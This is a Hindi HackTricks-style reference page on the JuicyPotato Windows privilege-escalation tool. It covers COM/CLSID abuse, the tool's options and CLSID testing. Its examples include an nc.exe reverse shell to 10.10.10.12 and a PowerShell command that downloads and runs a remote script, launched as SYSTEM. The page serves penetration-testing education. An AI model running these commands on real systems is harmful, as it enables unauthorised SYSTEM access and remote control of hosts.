JuicyPotato

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

JuicyPotato Windows Server 2019 और Windows 10 बिल्ड 1809 के ऊपर काम नहीं करता है। हालांकि, PrintSpoofer, RoguePotato, SharpEfsPotato का उपयोग किया जा सकता है ताकि उसी विशेषाधिकारों का उपयोग करें और NT AUTHORITY\SYSTEM स्तर का एक्सेस प्राप्त करेंजांचें:

pageRoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (स्वर्ण विशेषाधिकारों का दुरुपयोग)

RottenPotatoNG [का एक चीनी रूपांतरण, थोड़ी मिठास के साथ, अर्थात एक और स्थानीय विशेषाधिकार उन्नति उपकरण, विंडोज सेवा खातों से NT AUTHORITY\SYSTEM तक]

सारांश

Juicy-potato Readme से:

RottenPotatoNG और इसके वेरिएंट्स BITS सेवा पर आधारित विशेषाधिकार उन्नति श्रृंखला का उपयोग करता है जिसमें 127.0.0.1:6666 पर MiTM सुनने वाला होता है और जब आपके पास SeImpersonate या SeAssignPrimaryToken विशेषाधिकार होते हैं। एक विंडोज निर्माण समीक्षा के दौरान हमने एक सेटअप पाया जहां BITS को इच्छित रूप से अक्षम किया गया था और पोर्ट 6666 लिया गया था।

हमने RottenPotatoNG को शस्त्रीकृत करने का निर्णय लिया: Juicy Potato का स्वागत करें

सिद्धांत के लिए, Rotten Potato - सेवा खातों से सिस्टम तक विशेषाधिकार उन्नति देखें और लिंक और संदर्भों की श्रृंखला का पालन करें।

हमने पाया कि, BITS के अलावा हम कई COM सर्वरों का दुरुपयोग कर सकते हैं। उन्हें बस यह करना है:

  1. वर्तमान उपयोगकर्ता द्वारा instantiable होना, सामान्य रूप से एक "सेवा उपयोगकर्ता" जिसके पास अनुकरण विशेषाधिकार होते हैं

  2. IMarshal इंटरफेस को कार्यान्वित करना

  3. उच्च स्तरीय उपयोगकर्ता के रूप में चलाना (SYSTEM, प्रशासक, ...)

कुछ परीक्षण के बाद हमने कई रोचक CLSID की एक व्यापक सूची प्राप्त और परीक्षण किया। विभिन्न विंडोज संस्करणों पर।

Juicy विवरण

JuicyPotato आपको निम्नलिखित करने की अनुमति देता है:

  • लक्ष्य CLSID आप किसी भी CLSID को चुन सकते हैं। यहाँ आप OS द्वारा संगठित सूची पा सकते हैं।

  • COM सुनने का पोर्ट आपकी पसंद के अनुसार COM सुनने का पोर्ट परिभाषित करें (मार्शल किया हार्डकोडेड 6666 के बजाय)

  • COM सुनने का IP पता किसी भी IP पर सर्वर बाँधें

  • प्रक्रिया निर्माण मोड अनुकरण करने वाले उपयोगकर्ता की विशेषाधिकारों के आधार पर आप CreateProcessWithToken (जरूरत है SeImpersonate), CreateProcessAsUser (जरूरत है SeAssignPrimaryToken), दोनों में से चुन सकते हैं।

  • लॉन्च करने की प्रक्रिया यदि शोषण सफल होता है तो एक executable या स्क्रिप्ट लॉन्च करें

  • प्रक्रिया तर्क लॉन्च की गई प्रक्रिया के तर्क को अनुकूलित करें

  • RPC सर्वर पता एक छिपी दृष्टिकोण के लिए आप एक बाह्य RPC सर्वर से प्रमाणित कर सकते हैं

  • RPC सर्वर पोर्ट उपयोगी है अगर आप एक बाह्य सर्वर से प्रमाणित होना चाहते हैं और फ़ायरवॉल पोर्ट 135 को अवरुद्ध कर रहा है...

  • TEST मोड मुख्य रूप से परीक्षण के उद्देश्यों के लिए, अर्थात CLSIDs का परीक्षण। यह DCOM बनाता है और टोकन का उपयोगकर्ता प्रिंट करता है। टेस्टिंग के लिए यहाँ देखें यहाँ

उपयोग

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

अंतिम विचार

Juicy Potato Readme से:

यदि उपयोगकर्ता के पास SeImpersonate या SeAssignPrimaryToken विशेषाधिकार हैं तो आप SYSTEM हैं।

इन सभी COM सर्वरों के दुरुपयोग को रोकना लगभग असंभव है। आप इन ऑब्जेक्ट्स की अनुमतियों को DCOMCNFG के माध्यम से संशोधित करने के बारे में सोच सकते हैं, लेकिन शुभकामनाएं, यह कठिन होगा।

वास्तविक समाधान है कि * SERVICE खातों के तहत चलने वाले संवेदनशील खातों और एप्लिकेशनों को सुरक्षित रखें। DCOM को रोकना निश्चित रूप से इस उत्पीड़न को रोकेगा लेकिन इसके पीछे के ऑपरेटिंग सिस्टम पर गंभीर प्रभाव हो सकते हैं।

स्रोत: http://ohpe.it/juicy-potato/

उदाहरण

ध्यान दें: कोशिश करने के लिए CLSIDs की सूची के लिए इस पृष्ठ पर जाएं।

एक nc.exe रिवर्स शैल लें

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

पावरशेल रेव

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

नए CMD लॉन्च करें (यदि आपके पास RDP एक्सेस है)

CLSID समस्याएं

अक्सर, JuicyPotato द्वारा उपयोग किया जाने वाला डिफ़ॉल्ट CLSID काम नहीं करता है और एक्सप्लॉइट विफल हो जाता है। सामान्यत: एक स्पष्ट ऑपरेटिंग सिस्टम के लिए कई प्रयासों की आवश्यकता होती है एक काम करने वाला CLSID खोजने के लिए। एक विशिष्ट ऑपरेटिंग सिस्टम के लिए प्रयास करने के लिए CLSIDs की सूची प्राप्त करने के लिए आपको इस पृष्ठ पर जाना चाहिए:

CLSIDs की जाँच

सबसे पहले, आपको juicypotato.exe के अलावा कुछ एक्जीक्यूटेबल्स की आवश्यकता होगी।

Join-Object.ps1 डाउनलोड करें और इसे अपने PS सत्र में लोड करें, और GetCLSID.ps1 डाउनलोड और एक्सीक्यूट करें। उस स्क्रिप्ट से संभावित CLSIDs की एक सूची बनाएगा।

फिर test_clsid.bat (CLSID सूची और juicypotato एक्जीक्यूटेबल के लिए पथ बदलें) डाउनलोड करें और इसे एक्सीक्यूट करें। यह हर CLSID की कोशिश करना शुरू कर देगा, और जब पोर्ट नंबर बदल जाएगा, तो इसका मतलब होगा कि CLSID काम कर गया है

पैरामीटर -c का उपयोग करके काम करने वाले CLSIDs की जाँच करें

संदर्भ

जीर्ण से शुरू करके AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

Last updated